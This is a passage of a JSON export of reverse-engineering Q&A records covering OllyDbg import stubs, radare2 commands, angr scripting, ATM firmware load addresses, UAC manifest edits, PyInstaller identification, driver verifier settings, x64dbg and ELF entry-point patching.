        "Body": "<pre><code>00EE16CC   . E9 DFBB0000    JMP BinFile.00EED2B0\n00EE16D1   . E9 64AF0000    JMP &lt;JMP.&amp;MSVCP140D.?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@&gt;\n00EE16D6   . E9 15DB0000    JMP BinFile.00EEF1F0\n00EE16DB   . E9 D0D40000    JMP BinFile.00EEEBB0\n00EE16E0   . E9 C9E60000    JMP &lt;JMP.&amp;KERNEL32.IsDebuggerPresent&gt;\n00EE16E5   . E9 D6AD0000    JMP BinFile.00EEC4C0\n00EE16EA   . E9 C1510000    JMP BinFile.00EE68B0\n00EE16EF   . E9 5CE70000    JMP BinFile.00EEFE50\n00EE16F4   . E9 C7A50000    JMP BinFile.00EEBCC0\n00EE16F9   . E9 A4E60000    JMP &lt;JMP.&amp;ucrtbased._wsplitpath_s&gt;\n00EE16FE   . E9 AD950000    JMP BinFile.00EEACB0\n00EE1703   . E9 083B0000    JMP BinFile.00EE5210\n00EE1708   . E9 BBAE0000    JMP &lt;JMP.&amp;MSVCP140D.?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ&gt;\n00EE170D   . E9 7EBA0000    JMP BinFile.00EED190\n00EE1712   . E9 B9BA0000    JMP BinFile.00EED1D0\n00EE1717   . E9 44870000    JMP BinFile.00EE9E60\n00EE171C   . E9 AF5C0000    JMP BinFile.00EE73D0\n00EE1721   $ E9 7A430000    JMP BinFile.00EE5AA0\n00EE1726   . E9 07E70000    JMP &lt;JMP.&amp;KERNEL32.GetProcAddress&gt;\n00EE172B   . E9 E07C0000    JMP BinFile.00EE9410\n00EE1730   . E9 6B520000    JMP BinFile.00EE69A0\n00EE1735   . E9 EEAE0000    JMP &lt;JMP.&amp;MSVCP140D.?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std&gt;\n00EE173A   . E9 EDE60000    JMP &lt;JMP.&amp;KERNEL32.FreeLibrary&gt;\n00EE173F   . E9 DCCF0000    JMP BinFile.00EEE720\n00EE1744   . E9 FDAE0000    JMP &lt;JMP.&amp;MSVCP140D.?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@&gt;\n00EE1749   . E9 42E70000    JMP BinFile.00EEFE90\n00EE174E   . E9 41AF0000    JMP &lt;JMP.&amp;MSVCP140D.?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBED&gt;\n00EE1753   . E9 28860000    JMP BinFile.00EE9D80\n00EE1758   . E9 03C20000    JMP BinFile.00EED960\n00EE175D   . E9 FEBF0000    JMP BinFile.00EED760\n00EE1762   . E9 29CB0000    JMP BinFile.00EEE290\n00EE1767   . E9 C4510000    JMP BinFile.00EE6930\n</code></pre>\n\n<p>I am reverse engineering a exe for a class assignment and I am trying to wrap my brain around what kind of code would produce this type of assembly code. I have been at it for a couple of days now. I am not looking for an exact answer, that would be helpful but more along the lines of how to go about solving reversing an exe like this. Thank you and help would be greatly appreciated. If anyone is wondering I am using OllyDB </p>\n",
        "Title": "What kind of code would produce this assemby with loads of jump statements?",
        "Tags": "|windows|assembly|dll|exe|",
        "Answer": "<p>If they were all to external targets then it would be the stubs for external functions when dynamically loading dlls.</p>\n\n<p>This way you can limit the amount of pages that need updating when a new dll get loaded. Which lets the calling code be position independent with regards to the call target. Calls to external function are sent to that page and forwarded to the actual function. </p>\n\n<p>When the dll gets loaded (on startup, on delay load or explicitly) the page is filled in based on the virtual address. When a delay loaded function is called it is instead forwarded to a loading function which then forwards to the actual function.</p>\n"
    },
    {
        "Id": "19858",
        "CreationDate": "2018-11-09T21:13:16.413",
        "Body": "<p>Radare2 has an option, <code>p-</code>,</p>\n\n<pre><code>Usage: p-[hj] [nblocks]   bar|json|histogram blocks\n| p-   show ascii-art bar of metadata in file boundaries\n| p-h  show histogram analysis of metadata per block\n| p-j  show json format\n</code></pre>\n\n<p>Using it though, I get a</p>\n\n<pre><code>[0x08048340]&gt; p-\n0x8048000 [..______ssss_ss__s_ssssfss^fsffssffsffsfszz] 0x8048538\n</code></pre>\n\n<p>without a legend. What do these different symbols mean <code>f</code>, <code>s</code>, <code>z</code>, <code>_</code>, <code>.</code>, and <code>^</code>?</p>\n",
        "Title": "How do I read the \"ascii-art bar of metadata in file boundaries\"?",
        "Tags": "|radare2|",
        "Answer": "<p>You could get that by looking at the source code <a href=\"https://github.com/radare/radare2/blob/a0844ef2c3a2e2852e975634686f0eca4a447093/libr/core/cmd_print.c#L2559-L2588\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Each caracter represent a different things that a block can contain. They are checked in order (so that it doesn't mean only one thing can be in any section) and each symbol marks the block that...</p>\n\n<ul>\n<li><code>^</code> - you are in</li>\n<li><code>z</code> - has strings</li>\n<li><code>s</code> - has symbols</li>\n<li><code>F</code> - has functions starting in </li>\n<li><code>c</code> - has comments</li>\n<li><code>.</code> - has flags</li>\n<li><code>f</code> - has functions partially in</li>\n<li><code>_</code> - has something else</li>\n</ul>\n\n<p>But I agree a legend would be helpful. Maybe this should be documented in <a href=\"https://radare.gitbooks.io/radare2book/content/\" rel=\"nofollow noreferrer\">r2 book</a> or <code>p-?</code> should actually print the legend.</p>\n"
    },
    {
        "Id": "19867",
        "CreationDate": "2018-11-10T22:30:39.890",
        "Body": "<p>I create the following c program as a proof of concept. When I try to analyze it with anger it never finishes.</p>\n\n<pre><code>#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\nchar *secret = \"password\";\n\nint compare(char *string)\n{\n    int i, c=0;\n    for (i=0; i&lt; strlen(secret); i++)\n    {\n        if (string[i] == secret[i])\n            c++;\n    }\n    if (c == 8)\n        printf(\"You won\");\n    return 0;\n}\nint main(int argc, char **argv)\n{\n    char input[50];\n    scanf(\"%s\", input);\n    compare(input);\n    return EXIT_SUCCESS;\n}\n</code></pre>\n\n<p>The script is the following:</p>\n\n<pre><code>#!/usr/bin/env python\n\nimport angr\nimport sys\nimport logging\nimport claripy\n\nFIND = 0x00000000000011dd\nLEN = 8 \n\ndef basic_symbolic_execution():\n    p = angr.Project('test', load_options={'auto_load_libs':False})\n\n    flag = claripy.BVS('flag', LEN * 8)\n\n    st = p.factory.entry_state(\n        stdin=flag,\n    )\n\n    sm = p.factory.simulation_manager(st)\n    sm.explore(find=FIND, num_find=1)\n\n    print(\"Found solution\")\n    out = b''\n\n    for pp in sm.deadended:\n        out = pp.posix.dumps(1)\n        print(out)\n\n    import IPython; IPython.embed()\n\ndef test():\n    r = basic_symbolic_execution()\n\nif __name__ == '__main__':\n    sys.stdout.buffer.write(basic_symbolic_execution())\n</code></pre>\n\n<p>I have also tried to use explore on the address of c++ 8 times and then checking the stdin and it finishes but the result is all zeros. I was wondering if any of you have faced something similar and what your solutions were.</p>\n",
        "Title": "Angr never finishes",
        "Tags": "|angr|",
        "Answer": "<p>By your FIND address it seems like your binary was compiled with PIE. Please verify this. Angr will load PIE enabled elf at a base address of 0x400000, add this to your FIND address so that angr is able to resolve this.</p>\n\n<p>I have made a couple of changes to your script to make it detect the \"password\".</p>\n\n<pre><code>import angr\nimport sys\nimport logging\nimport claripy\n\nFIND = 0x00400672\nLEN = 8\n\ndef basic_symbolic_execution():\n    p = angr.Project('x', load_options={'auto_load_libs':False})\n\n    flag = claripy.BVS('flag', LEN * 8)\n\n    st = p.factory.entry_state(\n        stdin=flag,\n    )\n\n    sm = p.factory.simulation_manager(st)\n    sm.explore(find=FIND, num_find=1)\n\n    print(\"Found solution\")\n    out = b''\n\n    for pp in sm.found:\n        out = pp.posix.dumps(0)\n        print(out)\n        print(pp.solver.eval(flag, cast_to=str))\n\n    import IPython; IPython.embed()\n\ndef test():\n    r = basic_symbolic_execution()\n\nif __name__ == '__main__':\n    basic_symbolic_execution()\n</code></pre>\n\n<p>To look for states which actually reached your FIND addresses you need to iterate over <code>found</code> of a <code>simulation_manager</code>.</p>\n\n<p>According to <code>man stdin</code></p>\n\n<blockquote>\n  <p>On  program  startup, the integer file descriptors associated with the streams stdin,\n         stdout, and  stderr  are  0,  1,  and  2,  respectively.</p>\n</blockquote>\n\n<p>So to get input you need to use <code>pp.posix.dumps(0)</code></p>\n\n<p>I have also added on how to use <code>solver</code> of a found state to solve for constraints that you set like the <code>flag</code>.</p>\n\n<p>Also offset for the printf in the binary for me.</p>\n\n<pre><code>$ gcc -no-pie -fno-pic x.c -o x\n$ r2 -AA x -qc \"pdf @ sym.compare ~won\"    \n\u2502       \u2502   0x00400672      bf7d074000     mov edi, str.You_won        ; 0x40077d ; \"You won\"\n</code></pre>\n"
    },
    {
        "Id": "19882",
        "CreationDate": "2018-11-13T20:33:13.617",
        "Body": "<p>Radare2 supports a <code>w</code> which writes a string.</p>\n\n<pre><code>w foobar             write string 'foobar'\n</code></pre>\n\n<p>However, it doesn't seem to work for me,</p>\n\n<pre><code>$ touch foo\n\n$ radare2 ./foo\nw foobar\n</code></pre>\n\n<p>The file <code>foo</code> remains empty. Am I supposed to flush or save?</p>\n",
        "Title": "Writing a file with radare2 `w`?",
        "Tags": "|radare2|",
        "Answer": "<h1>Create an input/output mapping to allow writing to a non-mapped file</h1>\n<p>To <strong>allow writing</strong> up to <code>64 byte</code> starting at <code>offset 0x00000000</code>, map changes in radare2 <strong>to <code>file descriptor 3</code></strong> (the file opened in radare2).</p>\n<pre><code>[0x00000000]&gt; om 3 0x0 64\n[0x00000000]&gt; om\n1 fd: 3 +0x00000000 0x00000000 - 0x0000000b rwx\n</code></pre>\n<h2>Explanation</h2>\n<p><strong>An empty file</strong> (as created by <code>touch</code>) <strong>has no input/output mappings</strong> (even when opened with in <code>write mode</code>).\nTo confirm no region has been mapped, you can list all defined IO maps with the radare2-command <code>om</code>.)</p>\n<p>To create an i/o-mapping use <code>om</code> with parameters:</p>\n<blockquote>\n<p>om fd vaddr [size] [paddr] [rwx] [name]  create new io map</p>\n</blockquote>\n<h1>Example</h1>\n<pre>radare2 -w test_file\n -- What has been executed cannot be unexecuted\n[0x00000000]&gt; w This won't be written anywhere, because no mapping exists.\n[0x00000000]&gt; om\n[0x00000000]&gt; om 3 0 64\n[0x00000000]&gt; om\n 1 fd: 3 +0x00000000 0x00000000 - 0x0000003f rwx \n[0x00000000]&gt; w Hello World!\n[0x00000000]&gt; V\n</pre>\n<p><a href=\"https://i.stack.imgur.com/L4ksf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L4ksf.png\" alt=\"hexview of file after mapping and writing\" /></a></p>\n"
    },
    {
        "Id": "19885",
        "CreationDate": "2018-11-14T07:32:30.160",
        "Body": "<p>I bought an Hyosung NH1500 off Offer-up and it boots up and initializes some peripherals and then spits out and error of \"COM download is failed\". I've searched Google and 0 results came up, I've been searching and reading everything I can about ATMs and reverse engineering them but there's not much information. I was able to find the ATM's update file and in the update file is a file called <code>boot.bin</code> and when I throw it into IDA Pro and set processor to ARM Little-Endian ARMv4T because the processor is an S3C2410A and that's what the datasheet said but I cannot figure out the address to load the binary at to get any disassembled code that looks correct, but inside that file is the string \"COM download is failed\".</p>\n\n<p>So what I am asking is, can anyone help me find the loading address of <code>bios.bin</code> in the update file located <a href=\"https://ufile.io/4xbb1\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
        "Title": "Reverse Engineering bios of ATM Machine",
        "Tags": "|disassembly|binary-analysis|decompilation|firmware|",
        "Answer": "<p>The files in the update are <strong>not ARM</strong> but classic 16-bit x86 code. For example, loading <code>bios.bin</code> at F000:0000 and starting disassembly from F000:FFF0 (standard x86 entrypoint) produces nice code:</p>\n\n<pre><code>cseg:FFF0                _reset:                            \ncseg:FFF0                                                   \ncseg:FFF0 FA                             cli\ncseg:FFF1 BA A4 FF                       mov     dx, 0FFA4h\ncseg:FFF4 B8 02 80                       mov     ax, 8002h\ncseg:FFF7 EF                             out     dx, ax\ncseg:FFF8 EA 20 00 00 F0                 jmp     far ptr loc_F000_20\n</code></pre>\n\n<p>The code is apparently hardware-specific and does not resemble much the classic BIOS of the generic PCs. </p>\n"
    },
    {
        "Id": "19895",
        "CreationDate": "2018-11-16T01:21:12.417",
        "Body": "<p>When I run <code>aaa</code>, Radare tells me,</p>\n\n<pre><code>[x] Use -AA or aaaa to perform additional experimental analysis.\n</code></pre>\n\n<p>But what does <code>aaaa</code> do? It's not documented under <code>aa?</code> nor <code>aaa?</code> nor </p>\n\n<pre><code>[0x000028e0]&gt; aaa?\nUsage: See aa? for more help\n[0x000028e0]&gt; aaaa?\nUsage: See aa? for more help\n</code></pre>\n\n<p>And <code>man radare</code> isn't more useful only saying,</p>\n\n<pre><code> -A  run 'aaa' command before prompt or patch to analyze all referenced code. Use -AA to run aaaa\n</code></pre>\n\n<p><code>radare --help</code>, says</p>\n\n<pre><code> -A run 'aaa' command to analyze all referenced code\n</code></pre>\n",
        "Title": "Radare's `aaaa` and -AA what does it do, exactly?",
        "Tags": "|radare2|static-analysis|",
        "Answer": "<p>When you execute the <code>aaa</code> command, radare is showing you what are the steps it takes. Each step has the command responsible for it inside parentheses.</p>\n\n<pre><code>[0x00000000]&gt; aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Type matching analysis for all functions (afta)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n</code></pre>\n\n<p>As you can see, <code>aaa</code> is a command which is executing other commands. It also prints a short description of what each command is doing. A little bit more detailed information can be found under <code>aa?</code>. So, to append this information together:</p>\n\n<ul>\n<li>aa - alias for <code>af@@ sym.*;af@entry0;afva</code></li>\n<li>aac - analyze function calls (<code>af @@ `pi len~call[1]`</code>)</li>\n<li>aar - analyze len bytes of instructions for references</li>\n<li>aan - autoname functions that either start with <code>fcn.*</code> or <code>sym.func.*</code></li>\n<li>afta - do type matching analysis for all functions</li>\n</ul>\n\n<p>Similar to <code>aaa</code>, this information is being printed when <code>aaaa</code> is executed.</p>\n\n<pre><code>[0x00000000]&gt; aaaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Enable constraint types analysis for variables\n</code></pre>\n\n<p>The main change of <code>aaaa</code> is \"[x] Enable constraint types analysis for variables\". This basically enables the <code>anal.types.constraint</code> configuration variable.</p>\n\n<pre><code>[0x00000000]&gt; e? anal.types.constraint\nanal.types.constraint: Enable constraint types analysis for variables\n</code></pre>\n\n<hr>\n\n<p>On a personal note here, I would suggest not to use <code>aaaa</code> since it is quite buggy sometimes and probably would not be necessary.</p>\n"
    },
    {
        "Id": "19896",
        "CreationDate": "2018-11-16T04:36:28.033",
        "Body": "<p>I want to decompile an .exe and change the code to not need Admin to run. I know that it does something with:</p>\n\n<pre><code>&lt;requestedPrivileges&gt;\n  &lt;requestedExecutionLevel\n  level=\"requireAdministrator\"\n  uiAccess=\"false\"\n/&gt;\n&lt;/requestedPrivileges&gt;\n</code></pre>\n\n<p>However I'm not sure what I need to change (I'm using Resource Hacker).</p>\n",
        "Title": "I want to decompile a exe and change the code to not need Admin to run",
        "Tags": "|windows|exe|",
        "Answer": "<p>Actually this has nothing to do with decompiling and little with reverse engineering.</p>\n\n<p>What you need to do is to change <code>level=\"requireAdministrator\"</code> into <code>level=\"asInvoker\"</code>:</p>\n\n<pre><code>&lt;requestedPrivileges&gt;\n  &lt;requestedExecutionLevel\n  level=\"asInvoker\"\n  uiAccess=\"false\"\n/&gt;\n&lt;/requestedPrivileges&gt;\n</code></pre>\n\n<p>Using ResourceHacker you should be able to do just that. The canonical way, however, would be to use the Manifest Tool (mt.exe) which is - depending on the version - included with the SDKs, WDKs or Visual C++/Studio.</p>\n\n<p>Another way would be to strip the resource and place a manifest next to the .exe with the same name, but .manifest appended. I.e. if your .exe is named <code>foobar.exe</code> then the manifest would be <code>foobar.exe.manifest</code>.</p>\n\n<p>And actually, thinking about it, this may even work without stripping the existing manifest resource (perhaps give it a try?). I.e. extract the existing manifest resource, place it next to the .exe as explained above and modify the (external) manifest. Then try to start the .exe ...</p>\n\n<p><strong>However, be warned:</strong> if your .exe has been signed, your tampering will invalidate the signature. If the software has been prepared to do integrity checking or certain other circumstances apply (Software Restriction Policies, AppLocker) this may lead to the software being unable to run.</p>\n\n<hr>\n\n<p>If you wanted to achieve this <em>without</em> tinkering with the manifest resource, you can have a look <a href=\"http://superuser.com/a/450503/68747\">here</a>. This answer details how to enable running a software without elevation by invoking it with a special environment variable set.</p>\n\n<p>Applying this registry file will create an entry named <code>Run without admin rights (UAC)</code> in the context menu, which allows you to make use of the feature:</p>\n\n<pre><code>Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\*\\shell\\forcerunasinvoker]\n@=\"Run without admin rights (UAC)\"\n\n[HKEY_CLASSES_ROOT\\*\\shell\\forcerunasinvoker\\command]\n@=\"cmd /min /C \\\"set __COMPAT_LAYER=RUNASINVOKER &amp;&amp; start \\\"\\\" \\\"%1\\\"\\\"\"\n</code></pre>\n"
    },
    {
        "Id": "19900",
        "CreationDate": "2018-11-17T01:37:21.963",
        "Body": "<p>There are several solutions available to extract Pyc files from Windows binaries and then decompile them using uncompyle2 or uncompyle6.</p>\n\n<p>However, I have a Linux ELF 64-bit binary which was compiled using one of the Packagers used for Python (might be CX Freeze or PyInstaller). I am not sure of the exact package name.</p>\n\n<p>Update:</p>\n\n<p>File command output:</p>\n\n<pre><code>bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=212a49c7fff7342713aec6af6789abbaf3a8014, stripped\n</code></pre>\n\n<p>I also have a .so file called: libpython2.7.so.1.0 which I believe is the python interpreter.</p>\n\n<p>The binary also has a .pydata section inside it as shown below:</p>\n\n<pre><code> [27] pydata            PROGBITS         0000000000000000  00007a48\n       00000000000a0c47  0000000000000000           0     0     1\n</code></pre>\n\n<p>The binary has strings inside it as shown below:</p>\n\n<pre><code>Py_SetPythonHome\nCannot dlsym for Py_SetPythonHome\nError loading Python lib '%s': dlopen: %s\nError detected starting Python VM.\nlibpython2.7.so.1.0\n</code></pre>\n\n<p>So, I'm quite sure that it is Python code compiled to a Linux binary.</p>\n\n<p>Neither of these projects work for me.</p>\n\n<ul>\n<li><p><a href=\"https://github.com/Katharsis/unfrozen_binary\" rel=\"nofollow noreferrer\"><strong>unfrozen_binary</strong></a> - gives an error because in common.py it imports decompilers library which is not available.</p></li>\n<li><p><a href=\"https://github.com/bannsec/pyThaw\" rel=\"nofollow noreferrer\"><strong>pyThaw</strong></a> - it leverages radare2 however when I use it with my binary, it just hangs and does not extract the source code.</p></li>\n</ul>\n\n<p>Are there any alternate solutions to decompile such elf binaries with python byte code for Linux?</p>\n",
        "Title": "Decompile Python for ELF Binaries",
        "Tags": "|python|decompiler|",
        "Answer": "<p>It can be said with certainty that your binary has been compiled with PyInstaller. Searching for the string \"Error detected starting Python VM.\" leads to the <a href=\"https://github.com/pyinstaller/pyinstaller/blob/6e5c70e067b5ad3fb6516818c9cb19ffdb288b2f/bootloader/src/pyi_pythonlib.c#L555\" rel=\"nofollow noreferrer\">PyInstaller repo</a>.</p>\n\n<p>Now that you know it's PyInstaller, you can have a look <a href=\"https://pyinstaller.readthedocs.io/en/v3.3.1/advanced-topics.html\" rel=\"nofollow noreferrer\">here</a> which describes how PyInstaller works and how the binary is packaged. In short, here are the important parts</p>\n\n<blockquote>\n  <p>Two kinds of archives are used in PyInstaller. One is a ZlibArchive,\n  which allows Python modules to be stored efficiently and, with some\n  import hooks, imported directly. The other, a CArchive, is similar to\n  a .zip file, a general way of packing up (and optionally compressing)\n  arbitrary blobs of data. It gets its name from the fact that it can be\n  manipulated easily from C as well as from Python. Both of these derive\n  from a common base class, making it fairly easy to create new kinds of\n  archives.</p>\n</blockquote>\n\n<p>The docs recommend using the tool <code>pyi-archive_viewer</code> for inspecting PyInstaller binaries.</p>\n\n<blockquote>\n  <p>Use the <code>pyi-archive_viewer</code> command to inspect any type of archive:</p>\n\n<pre><code>pyi-archive_viewer archivefile\n</code></pre>\n  \n  <p>With this command you can examine the contents of any archive built\n  with PyInstaller (a PYZ or PKG), or any executable (.exe file or an\n  ELF or COFF binary)</p>\n</blockquote>\n\n<p>This is what you can try for now. For Windows, there's the equivalent tool <a href=\"https://sourceforge.net/projects/pyinstallerextractor/\" rel=\"nofollow noreferrer\"><em>pyinstxtractor</em></a> (I'm the author) but unfortunately there's no support for ELF's at the moment. </p>\n"
    },
    {
        "Id": "19904",
        "CreationDate": "2018-11-17T07:19:27.133",
        "Body": "<p>So there is <code>win32k.sys</code>, <code>win32kbase.sys</code>, <code>win32kfull.sys</code> in Windows 10</p>\n\n<p>Does <code>verifier /driver win32k.sys /flags 0x1</code> enable special pool on all three drivers? (win32k.sys is kinda like stub to other drivers)</p>\n\n<p>Because I have a crash that occurs only when enabling special pool specifically on <code>win32kfull.sys</code> by <code>verifier /driver win32kfull.sys /flags 0x1</code>. It doesn't crash when enabling special pool on <code>win32k.sys</code> or <code>win32kbase.sys</code>. Is this case weird?</p>\n\n<p>Also, what would be the general setup regarding turning on the special pool when fuzzing <code>win32k*.sys</code>?</p>\n",
        "Title": "Questions about enabling special pool on win32k",
        "Tags": "|windows|kernel|fuzzing|",
        "Answer": "<p>Just enable special pool on all 3 drivers:</p>\n\n<pre><code>verifier.exe /flags 0x1 /driver win32k.sys /driver win32kbase.sys /driver win32kfull.sys\n</code></pre>\n"
    },
    {
        "Id": "19907",
        "CreationDate": "2018-11-17T23:08:29.963",
        "Body": "<p>I have a r2 script that I'm running with <code>r2 -i script.py test.x</code>. By default this command uses python2. How can I get it to use python3? I couldn't find anything in the config.</p>\n",
        "Title": "Make r2 -i <script> use python3 rather than python2",
        "Tags": "|radare2|",
        "Answer": "<p><em>OP did not mention their OS, thus I assume the OS is Linux.</em></p>\n\n<hr>\n\n<p>radare2 is using the default <code>python</code> version on your machine. That means that, probably, <code>/usr/bin/python</code> on your machine points to <code>/usr/bin/python2.7</code>. You can check it by executing <code>readlink</code> on the file:</p>\n\n<pre><code>$ readlink -f /usr/bin/python\n/usr/bin/python2.7\n</code></pre>\n\n<p>The solution for this should be quite straightforward. Simply, changing where <code>python</code> points to should do the trick. You can do this by executing <code>ln</code> and point <code>python</code> to <code>python3</code> on your machine:</p>\n\n<pre><code>$ sudo ln -sf /usr/bin/python3 /usr/bin/python\n</code></pre>\n\n<hr>\n\n<h2>Demo Time</h2>\n\n<p>Imagine the following Python script which simply prints the version of Python:</p>\n\n<pre><code>$ cat demo.py\nimport platform\nprint(platform.python_version())\n</code></pre>\n\n<p>This is script is compatible with both Python2 and Python3.</p>\n\n<p>Now, let's try to execute radare2 with this initialization script, without changing the symlink of <code>/usr/bin/python</code>. i.e. <code>python</code> would point to python2.</p>\n\n<pre><code>$ readlink -f /usr/bin/python\n/usr/bin/python2.7\n\n$ r2 -q -i demo.py -\n2.7.12\n</code></pre>\n\n<p>As you can see, radare2 executed the init script and printed \"2.7.12\".</p>\n\n<p>Now, let's modify the symlink to point to <code>python3</code> and test the script again:</p>\n\n<pre><code>$ sudo ln -sf /usr/bin/python3 /usr/bin/python\n\n$ readlink -f /usr/bin/python\n/usr/bin/python3.5\n\n$ r2 -q -i demo.py -\n3.5.2\n</code></pre>\n\n<p>As you requested, now <code>python3</code> was executed instead of <code>python2</code>.</p>\n\n<p>If you want <code>python</code> to point to <code>python2</code>, you can revert it back using the same command:</p>\n\n<pre><code>sudo ln -sf /usr/bin/python2.7 /usr/bin/python\n</code></pre>\n"
    },
    {
        "Id": "19913",
        "CreationDate": "2018-11-18T16:45:07.120",
        "Body": "<p>Is it possible, to run whichever line I want? \nFor example, if it is at black position, and i want to run the RED CIRCLED command:</p>\n\n<p><a href=\"https://i.stack.imgur.com/aOhtf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aOhtf.png\" alt=\"enter image description here\"></a> </p>\n\n<p>I couldn't find a way to do that, neither in right click or etc... Just want to select that line and do i.e. \"RUN THIS LINE\"</p>\n",
        "Title": "Run any line/command in x64dbg",
        "Tags": "|debugging|x64dbg|",
        "Answer": "<p>You can use the <em>Set New Origin Here</em> option in the context menu of the disassembly view to change EIP/RIP to the selected line:</p>\n\n<p><img src=\"https://i.stack.imgur.com/iPwqF.png\" alt=\"context menu\"></p>\n\n<p>In x64dbg commands this option can be expressed as: <code>cip = dis.sel()</code>.</p>\n"
    },
    {
        "Id": "19921",
        "CreationDate": "2018-11-19T22:06:00.083",
        "Body": "<p>Reading <a href=\"https://blog.k3170makan.com/2018/09/introduction-to-elf-format-elf-header.html\" rel=\"noreferrer\">Keith Makan's, <em>\"Introduction to the ELF Format : The ELF Header\"</em></a>, he modifies <code>e_entry</code>,</p>\n\n<blockquote>\n  <p>The <code>e_entry</code> field lists the offset in the file where the program should start executing.Normally it points to your _start method (of course if you compiled it with the usual stuff). You can point the e_entry anywhere you like, as an example I'm going to show that you can call a function that would other wise be impossible under normal execution.</p>\n</blockquote>\n\n<p>Also documented in <a href=\"https://linux.die.net/man/5/elf\" rel=\"noreferrer\"><code>man 5 elf</code></a>, I'm wondering if Radare has any functionality to rewrite ELF-specific headers or if writing the bits manually is the current way to do this? For example, I know it'll show the entry point with <code>ie</code>.</p>\n",
        "Title": "Writing ELF headers in Radare?",
        "Tags": "|radare2|elf|",
        "Answer": "<p>Yes, obviously you can. radare2 has built-in features to handle binary headers. This including reading, parsing and modifying the headers of the binary. And this is not different for <code>elf</code> or <code>pe</code> files, it will work great with both.</p>\n\n<h2>TL;DR</h2>\n\n<pre><code>$ ./example.elf\n[*] you ran this binary!\n\n$ r2 -w -nn example.elf\n[0x00000000]&gt; .pf.elf_header.entry=0x0000063a\n[0x00000000]&gt; q\n\n$ ./example.elf\n[*] wow how did you manage to call this?\n</code></pre>\n\n<hr>\n\n<h2>Creating our test file</h2>\n\n<p>As described in the article you linked in your question, it is easy to create a binary with a function that should never be executed under regular circumstances. Here's the exact code that was used in the linked article:</p>\n\n<pre><code>$ cat example.c\n\n#include &lt;stdio.h&gt;\n\n\nvoid never_call (void) {\n    printf (\"[*] wow how did you manage to call this?\\n\");\n    return;\n}\n\nint main (int argc, char **argv) {\n    printf (\"[*] you ran this binary!\\n\");\n    return 0;\n}\n</code></pre>\n\n<p>As you can see, the function <code>never_call</code> would, well... never be called. The program would execute the entrypoint which would execute the <code>main</code> function and will return.</p>\n\n<p>Now let's compile it using the command line used in the article, and execute the program:</p>\n\n<pre><code>$ gcc -Wall -o example.elf example.c\n$ ./example.elf\n[*] you ran this binary!\n</code></pre>\n\n<p>As we said, only <code>main()</code> was executed. Now let's open the binary in radare2 to see the magic happens.</p>\n\n<hr>\n\n<h2>radare2 time!</h2>\n\n<p><strong>Finding the address of the function</strong> </p>\n\n<p>As you requested, we want to modify the entry point of the binary by modifying the pointed address in the elf header to be our <code>never_call</code> function. So first, we need to find the address of <code>never_call</code> in the binary.</p>\n\n<pre><code>$ r2 example.elf\n[0x00000530]&gt; f~never_call\n0x0000063a 19 sym.never_call\n</code></pre>\n\n<p>We can see that the function <code>never_call</code> is at address <em>0x0000063a</em>. As you probably know by now, the <code>f</code> command is used to list the <a href=\"https://radare.gitbooks.io/radare2book/basic_commands/flags.html\" rel=\"noreferrer\">flags</a> that was marked by radare2, this including symbols as functions names. Then, we used <code>~</code> which is r2's internal <em>grep</em> and grepped for the relevant function.</p>\n\n<p><strong>Parsing the ELF Header</strong>  </p>\n\n<p>First, we need to seek to address <code>0</code> using <code>s 0</code> and then and only then we can parse the header with a new command <code>pf</code>. The command <code>pf</code> is used to print formatted data such as structures, enums, and types. Let's load the format definition for <code>elf64</code> using <code>pfo elf64</code> and use the <code>pf.</code> command to list the format definitions:</p>\n\n<pre><code>[0x00002400]&gt; s 0        # Seek to pos 0 in the binary\n\n[0x00000000]&gt; pfo elf64  # Load a Format Definition File for elf\n\n[0x00000000]&gt; pf.\npf.elf_header [16]z[2]E[2]Exqqqxwwwwww ident (elf_type)type (elf_machine)machine version entry phoff shoff flags ehsize phentsize phnum shentsize shnum shstrndx\n\npf.elf_phdr [4]E[4]Eqqqqqq (elf_p_type)type (elf_p_flags)flags offset vaddr paddr filesz memsz align\n\npf.elf_shdr x[4]E[8]Eqqqxxqq name (elf_s_type)type (elf_s_flags_64)flags addr offset size link info addralign entsize\n</code></pre>\n\n<p>One of the loaded definitions is the <code>elf_header</code> which holds the structure for the elf64 header. We can print the header like this:</p>\n\n<pre><code>[0x00000000]&gt; pf.elf_header\n     ident : 0x00000000 = .ELF...\n      type : 0x00000010 = type (enum elf_type) = 0x3 ; ET_DYN\n   machine : 0x00000012 = machine (enum elf_machine) = 0x3e ; EM_AMD64\n   version : 0x00000014 = 0x00000001\n     entry : 0x00000018 = (qword)0x0000000000000530\n     phoff : 0x00000020 = (qword)0x0000000000000040\n     shoff : 0x00000028 = (qword)0x0000000000001948\n     flags : 0x00000030 = 0x00000000\n    ehsize : 0x00000034 = 0x0040\n phentsize : 0x00000036 = 0x0038\n     phnum : 0x00000038 = 0x0009\n shentsize : 0x0000003a = 0x0040\n     shnum : 0x0000003c = 0x001d\n  shstrndx : 0x0000003e = 0x001c\n</code></pre>\n\n<p>As you can see, radare2 printed the elf64 header in a readable format so now we can see that <code>entry</code>, at 0x18, points to <code>0x530</code> which is our original entrypoint function. We can verify it by using <code>ie</code>, a radare2 command to print the entrypooint:</p>\n\n<pre><code>[0x00000000]&gt; ie\n[Entrypoints]\nvaddr=0x00000530 paddr=0x00000530 baddr=0x00000000 laddr=0x00000000 haddr=0x00000018 hvaddr=0x00000018 